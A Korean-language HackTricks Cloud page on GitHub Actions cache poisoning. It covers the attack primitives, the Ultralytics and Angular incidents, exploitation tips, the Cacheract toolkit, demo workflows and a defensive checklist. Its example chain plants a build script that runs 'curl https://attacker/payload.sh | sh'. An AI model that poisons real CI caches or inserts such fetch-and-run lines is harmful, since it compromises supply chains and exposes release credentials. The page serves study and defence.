GH Actions - Cache Poisoning
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
개요
The GitHub Actions cache는 리포지토리 전체에 대해 전역입니다. 캐시 key(또는 restore-keys)를 아는 모든 워크플로우는 해당 엔트리를 채울 수 있으며, 작업에 permissions: contents: read만 있어도 가능합니다. GitHub는 워크플로우, 이벤트 유형, 신뢰 수준별로 캐시를 분리하지 않으므로, 낮은 권한의 작업이 탈취되면 권한이 높은 릴리스 작업이 나중에 복원할 캐시를 오염시킬 수 있습니다. 이것이 Ultralytics 침해 사건에서 pull_request_target 워크플로우에서 PyPI 퍼블리싱 파이프라인으로 피벗한 방식입니다.
공격 프리미티브
actions/cache는 restore와 save 연산을 모두 제공합니다 (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). save 호출은 포크에서 트리거된 진정으로 신뢰할 수 없는pull_request워크플로우를 제외한 모든 작업에서 허용됩니다.- 캐시 엔트리는
key로만 식별됩니다. 넓은restore-keys는 공격자가 접두사만 충돌시키면 되므로 페이로드 주입을 쉽게 만듭니다. - 캐시 키와 버전은 클라이언트가 지정하는 값입니다; 캐시 서비스는 키/버전이 신뢰된 워크플로우나 캐시 경로와 일치하는지 검증하지 않습니다.
- 캐시 서버 URL + 런타임 토큰은 워크플로우에 비해 수명이 길며(과거 약 6시간, 현재 약 90분) 사용자가 취소할 수 없습니다. 2024년 말 기준으로 GitHub는 원래 작업이 완료된 후 캐시 쓰기를 차단하므로, 공격자는 작업이 여전히 실행 중일 때 쓰거나 미래의 키를 미리 오염시켜야 합니다.
- 캐시된 파일시스템은 있는 그대로 복원됩니다. 캐시에 나중에 실행되는 스크립트나 바이너리가 포함되어 있다면 공격자가 해당 실행 경로를 제어합니다.
- 캐시 파일 자체는 복원 시 검증되지 않습니다; 단지 zstd로 압축된 아카이브일 뿐이므로, 오염된 엔트리는 스크립트,
package.json또는 복원 경로 아래의 다른 파일들을 덮어쓸 수 있습니다.
예시 악용 체인
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Prileged workflow가 복원되어 poisoned cache를 실행했습니다:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
두 번째 작업은 이제 릴리스 자격 증명 (PyPI tokens, PATs, cloud deploy keys, etc.)을 보유한 채 공격자가 제어하는 코드를 실행합니다.
Poisoning mechanics
GitHub Actions의 캐시 항목은 일반적으로 zstd-compressed tar archives입니다. 로컬에서 하나를 만들어 캐시에 업로드할 수 있습니다:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
실전 악용 팁
pull_request_target,issue_comment또는 bots 명령으로 트리거되면서 여전히 캐시를 저장하는 워크플로를 목표로 하세요; GitHub은 러너가 리포지토리에 대해 읽기 권한만 있어도 리포지토리 전체 키를 덮어쓸 수 있게 허용합니다.- 신뢰 경계를 넘어 재사용되는 결정론적 캐시 키(예:
pip-${{ hashFiles('poetry.lock') }})나 관대한restore-keys를 찾아, 권한 있는 워크플로가 실행되기 전에 악의적인 tarball을 저장하세요. - 로그에서
Cache saved항목을 모니터링하거나 자체 캐시 저장 단계를 추가해서 다음 릴리스 작업이 페이로드를 복원하고 trojanized 스크립트나 바이너리를 실행하게 만드세요.
Angular (2026) 체인에서 관찰된 최신 기법
- Cache v2 “prefix hit” 동작: Cache v2에서는 정확히 일치하지 않아도 동일한 키 프리픽스를 공유하는 다른 항목을 복원할 수 있습니다(실질적으로 “모든 키가 restore keys“인 것과 유사). 공격자는 향후 miss가 오염된 객체로 폴백되도록 근접 충돌 키를 미리 심을 수 있습니다.
- 한 실행에서의 강제 축출: 2025-11-20 이후로 GitHub은 리포지토리 캐시 사용량이 제한(기본 10 GB)을 초과하면 항목을 즉시 축출합니다. 공격자는 먼저 쓸모없는 캐시 데이터를 업로드해 동일한 잡에서 정당한 항목을 축출한 뒤, 일일 정리 주기를 기다리지 않고 악의적 캐시 키를 기록할 수 있습니다.
- 재사용 가능한 액션을 통한
setup-node캐시 피벗:cache-dependency-path로actions/setup-node를 래핑하는 재사용/내부 액션은 낮은 신뢰 워크플로와 높은 신뢰 워크플로를 은닉적으로 연결할 수 있습니다. 두 경로가 공유 키로 해시되면, dependency 캐시를 poisoning하면 권한 있는 자동화(예: Renovate/bot 작업)에서 실행될 수 있습니다. - 봇 주도 공급망 남용으로의 캐시 poisoning 연쇄: Angular 사례에서 캐시 poisoning은 봇 PAT을 노출시켰고, 이는 승인 이후 봇 소유의 PR 헤드를 강제로 푸시하는 데 사용되었습니다. 승인-리셋 규칙이 봇 행위를 면제하면, 병합 전에 리뷰된 커밋을 악의적인 커밋(예: imposter action SHAs)으로 교체할 수 있습니다.
##å Cacheract
Cacheract is a PoC-focused toolkit for GitHub Actions cache poisoning in authorized testing. 실용적 가치는 수작업으로 하기 쉬운 취약하고 실수하기 쉬운 부분들을 자동화한다는 점입니다:
- 러너로부터 실행 시점 캐시 컨텍스트를 감지하고 사용(
ACTIONS_RUNTIME_TOKEN및 cache 서비스 URL). - 하류 워크플로에서 사용되는 후보 캐시 키/버전을 열거하고 표적화.
- 캐시 쿼터를 넘쳐서 강제 축출을 유발(해당되는 경우)한 뒤 같은 실행에서 공격자가 제어하는 항목을 기록.
- 이후 워크플로가 복원하여 수정된 툴링을 실행하도록 poisoned cache content을 심기.
이 도구는 타이밍과 키/버전 동작이 초기 캐시 구현보다 더 중요한 Cache v2 환경에서 특히 유용합니다.
Demo
이것은 본인 소유이거나 테스트가 명시적으로 허용된 리포지토리에서만 사용하세요.
1. Vulnerable workflow (untrusted trigger can save cache)
이 워크플로는 pull_request_target 안티패턴을 시뮬레이트합니다: 공격자가 제어하는 컨텍스트에서 캐시 콘텐츠를 기록하고 결정론적 키로 저장합니다.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. 권한 있는 워크플로우 (캐시된 바이너리/스크립트 복원 및 실행)
이 워크플로우는 동일한 키를 복원하고 dummy secret을 보유한 채 toolchain/bin/build를 실행합니다. 캐시가 오염되면 실행 경로는 공격자가 제어하게 됩니다.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. 실습 실행
- 안정적인
toolchain.lock파일을 추가해 두 워크플로가 동일한 cache key를 사용하도록 합니다. - 테스트 PR에서
untrusted-cache-writer를 트리거합니다. workflow_dispatch로privileged-consumer를 트리거합니다.- 로그에
POISONED_BUILD_PATH가 나타나는지,/tmp/cache-poisoning-demo.txt가 생성되었는지 확인합니다.
4. 기술적 시사점
- Cross-workflow cache trust break: 작성자와 소비자 워크플로는 동일한 신뢰 수준을 공유하지 않지만, cache namespace를 공유합니다.
- Execution-on-restore risk: 복원된 스크립트/바이너리를 실행하기 전에 무결성 검증이 수행되지 않습니다.
- Deterministic key abuse: 높은 권한의 job이 예측 가능한 키를 사용하면, 저신뢰 job이 악성 콘텐츠를 미리 배치할 수 있습니다.
5. 방어적 검증 체크리스트
- 키를 신뢰 경계별로 분리합니다(
pr-,ci-,release-) — 공통 접두사는 피하세요. - 신뢰되지 않는 워크플로에서 cache 쓰기 기능을 비활성화합니다.
- 실행하기 전에 복원된 실행 파일의 해시/검증을 수행합니다.
- 도구를 cache 경로에서 직접 실행하지 않습니다.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

